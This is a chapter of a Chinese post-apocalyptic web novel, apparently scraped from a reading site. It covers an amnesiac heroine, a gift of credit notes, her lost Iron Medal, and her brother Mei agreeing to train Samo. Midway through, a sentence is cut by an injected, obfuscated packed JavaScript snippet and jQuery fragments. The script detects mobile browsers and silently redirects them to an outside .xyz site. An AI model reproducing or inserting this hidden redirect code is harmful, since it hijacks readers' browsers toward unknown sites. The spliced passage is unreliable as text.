23. 铁勋章

作品:《狗牌[废土]

    临走前,艾森苦苦挣扎。


    “大人。”艾森哀戚地问,“我会死吗?”


    铁平康:“……”


    铁平康:“一些简单的审问而已。你好好配合,我今晚还能睡个整觉。”


    艾森被铁平康带走了。


    萨摩安静地看着单无绮。


    尤娜气得细眉倒竖:“你怎么还不走?”


    “拜托了,让他暂时跟着我们吧。”单无绮对尤娜讨好地笑,“我会看着他的。”


    单无绮的直觉告诉她,如果把萨摩赶出去,他还会想办法回来。


    尤娜勉强被捋顺了毛。


    她站在单无绮身后,漆黑的眼睛一眨不眨地盯着萨摩,俨然把萨摩当成了头号敌人。


    “不许留下来过夜!”尤娜道,“也不许进阮禾家!”


    萨摩拉低帽檐,没有说话。


    夜色中,几人向纳什告别。


    阮禾的力气不够大,起身时,安多尼接过维沙尔,熟练地调整姿势,把维沙尔和佩特拉一同抱在怀里。


    萨摩不远不近地缀在队尾。


    单无绮注意到,当萨摩离开时,他从衣袋中摸出两张钱,悄悄压在了水杯下。


    单无绮落后几步,和萨摩并行。


    “那是什么?”单无绮指了指萨摩的衣袋。


    “信用券。”萨摩说着,把衣袋里的钱全都掏了出来。


    单无绮的眼神一下子定住了。


    那是猫看到鱼一般的,兴致盎然的眼神。


    萨摩将那沓钱一张张点开。


    他边点边说:“信用券是基地的流通货币,面额有一,五,十,二十,五十,一百。”


    见单无绮仍然没有移开目光,萨摩顿了一下,将点了一半的信用券,塞到单无绮手心里。


    单无绮推了推:“这多不好意思。”


    “没关系。”萨摩道。


    萨摩还在思考如何说服单无绮。


    但下一秒,单无绮收回了推辞的动作,把那沓钱牢牢护在心口。


    “你是个好人。”单无绮真情实意地道。


    萨摩:“……”


    萨摩咳嗽一声。


    “外城中,阮女士是为数不多的授佩铁勋章的人。”萨摩开启了另一个话题,犹如临阵逃脱,“三百多年里,基地一共只发放了十三枚铁勋章。”


    单无绮摸着热乎乎的钱,上面残留着萨摩的体温。


    她觉得现在的萨摩,怎么看怎么顺眼。


    “铁勋章?”单无绮问道,“那是什么?”


    “它是基地的最高荣誉,用于表彰为人类做出杰出贡献的公民。”萨摩的目光扫过单无绮的脸,“你曾经也有一块。”


    单无绮已经习惯萨摩的聊天方式了。


    她笑问:“那枚铁勋章呢?”


    “……你带走了。”萨摩没有直说“流放”一词。


    见单无绮神色有异,他停下脚步,微微蹙眉:“它不在你身上吗?”


    单无绮回忆片刻。


    她诚实地摇了摇头。


    “我以为,你把铁勋章藏起来了。”萨摩低声道,“原来,你把它弄丢了。”


    萨摩的语气有点失魂落魄。


    单无绮一时间不知道该怎么接话。


    她第一次觉得,失忆是一件残忍的事。


    她忘记了一切,轻盈无比,但萨摩背负沉重的过去,一个人梳理着两个人的心事。


    手里的钱一瞬间变得有点烫手。


    单无绮低下头,把那沓钱点了一遍。


    她的本意,是想回赠一份价值相当的礼物。


    但萨摩看着她的动作,产生了一些误解。


    “我还有钱。”萨摩道,“回头拿给你。”


    “不,不是。”单无绮有点结巴,面对这种纤细的事,她一向笨嘴拙舌,“我不要你的钱。”


    “你想要什么?”


    单无绮慌不择词:“我什么也不要!”


    完啦!


    单无绮绝望地闭眼。


    萨摩定定地盯着单无绮。


    单无绮心虚地埋下头。


    萨摩突然叹了口气。


    他移开视线,看向前方:“你还是那副样子。”


    单无绮抬起头:“什么?”


    “你没有错,但你总是感到抱歉。”萨摩咽下了一个称呼,一个绝对不适合重新提起的称呼,“我知道你想说什么,这无关你和我之间的关系,而是你本身就是个一眼就能看穿的人。”


    单无绮:“……”


    单无绮:“你在骂我还是夸我?”


    “今晚是个意外,我们本不该见面。”萨摩停下脚步,“再见,我只送你到这里。”


    单无绮抓着那沓钱。


    她看了萨摩一阵,扭头追上走远的尤娜。


    萨摩站在街口,帽檐下的绿眼睛凝视着单无绮的背影。


    待单无绮的背影彻底融入夜色,萨摩垂下头。


    他轻声道:“对不起。”


    巷子里走出一个高挑俊俏的男子。


    他穿着常服,没有戴帽子,右手夹着一根没有点燃的烟。


    他穿过阴影,从黑暗中走到月光下,空荡荡的右眼仿佛一朵枯萎的花苞,横亘着眼球摘除手术的丑陋疤痕。


    “说完了?”梅问道。


    萨摩点点头。


    “从前的事已经过去了,说实话,我不介意你们重新走到一起。”梅说。


    萨摩诧异地抬起头。


    “你以为我要一枪毙了你吗?”梅嗤笑一声。


    梅点烟:“她不是小孩子了,她成年了。我不能再用对待女儿的方式对待她。”


    萨摩没有说话。


    没有等来预料中的责骂,萨摩的绿眼睛在月光下闪动。


    他褪去了平日的沉稳和严肃,多了几分青年人的蓬勃和鲜活。


    但梅转瞬间泼了盆冷水:“别高兴得太早,凭现在的你,根本不可能追到她。”


    “为什么?”萨摩虚心请教。


    “我的妹妹可不是听话的小狗,她是尖牙利齿的小猫,稍不留意就会撕开网兜逃走。”梅摸了摸那只空洞的眼眶,它仍在疼痛,到死都不会停息,“除了那个老东西,没人能让她变成一只家猫,就算是我也不行。”


    萨摩沉默。


    他知道梅在骂谁,但他无法反驳,也不敢反驳。


    “罢了,不必提他。”梅摆摆手,“你知道单无绮最近喜欢什么吗?”


    萨摩立刻答道:“钱。”


    梅:“?”


    梅:“哈?”


    “嗯,钱。”萨摩下意识摸衣袋,却只掏了团空气出来,“她喜欢钱。”


    回忆单无绮盯着信用券的眼神,萨摩严峻地补充:“很多很多钱。”


    梅:“……”


    梅大怒:“我的妹妹怎么可能这么俗气!”


    “她不是从前的她了。”萨摩轻声道,“她的铁勋章……不见了。”


    梅激烈的神色一瞬间凝滞了。


    梅站在原地,半晌没动,指间的烟安静地燃烧。


    直到一大截烟灰滚落到地上,梅才恍然惊醒,欲盖弥彰般低头抽了一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14506166|153866||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    口。


    “她失忆了。”梅感慨道。


    “嗯。”萨摩回应道。


    “她忘了一切。”


    “嗯。”


    “但为什么!”梅的表情微微颤动起来,“为什么……为什么她还是……”


    梅喉间哽咽,甚至话都无法说完,仰起头深吸了一口气。


    萨摩看着梅。


    憔悴的神色凝结在梅的眼尾。


    单无绮离开的三年里,梅·亚历克谢衰老的程度,比过去二十几年加起来还要多。


    良久,萨摩轻声道:“这是她自己选择的路——即使失去了记忆,她也永远忠诚。”


    “对什么忠诚?首长?基地?”


    “不,对人类。”


    “即使她有一具异种的身体?”


    “即使她有一具异种的身体。”


    “……”梅抽掉最后一口烟,将烟头恶狠狠地掼在地上。


    萨摩把烟头捡起来,白手套染上污灰。


    萨摩看向梅:“梅……”


    “叫我哥。”梅突然道。


    梅像是下定了某种决心,眼神狠厉得可怕。


    萨摩愣了一下。


    几秒后,他的脸颊激动地红了起来:“哥。”


    “你必须得帮她,你必须能帮到她。”梅说完,转身离开。


    无需提醒,萨摩自觉地跟了上去。


    “从明天起,你每天抽2个小时过来找我。”梅的步伐极快,像是踩着一团火,“你太弱了,无论从生理还是心理上,你都是个没断奶的狗崽子。”


    “嗯,哥。”


    “忘掉你和她从前的关系,你必须像个男人一样站在她身边。”梅停下脚步,灰色的左眼凌厉地盯着萨摩,“从前她来不及教给你的,现在由我来教给你。”


    萨摩低声道:“她永远是我的师父。”


    “她就是我一手教出来的,你觉得我没资格?”梅嗤笑一声。


    萨摩摇头。


    仿佛觉得程度不够,他再次用力摇头。


    “明天你什么时间有空?”


    “除了上午八点到十一点,下午三点到六点,都有空。”


    “明天十一点半,靶场准时见。”梅冷哼道,“敢迟到的话——别怪我让你脑袋开花!”


    ……


    单无绮追上尤娜。


    尤娜一直吊在队伍最后,拖拉了好一阵,似乎是在等单无绮。


    但随着单无绮和萨摩停下来聊天,尤娜不得不加快脚步,跟上了大部队。


    单无绮归队后,尤娜凌厉地盯着单无绮。


    面对那张隐忍着怒火的,漂亮的脸蛋,单无绮生不出一丝反抗。


    她缩了缩脖子:“尤娜……”


    “我看错你了!”尤娜又快又利地啐道,“跟着男人跑,呸!”


    单无绮:“……”


    单无绮试探地伸手:“尤娜啊……”


    单无绮捉住了尤娜的手。


    尤娜挣了挣,到底没甩开。


    单无绮把钱一股脑全塞给了尤娜:“给。”


    尤娜:“……”


    尤娜勃然大怒:“什么臭男人拿过的,我不要这东西!”


    尤娜用力甩开单无绮的手。


    她“噔噔噔”地走到队伍最前面,平底靴踩得像恨天高。


    阮禾等人诧异地看着尤娜,又将视线投向队伍尾巴的单无绮。


    单无绮攥着一把钱,夜风萧瑟,神色戚戚。


    “……怎么会有人不喜欢钱呢。”单无绮悲伤地低头,“钱,明明是好东西啊。”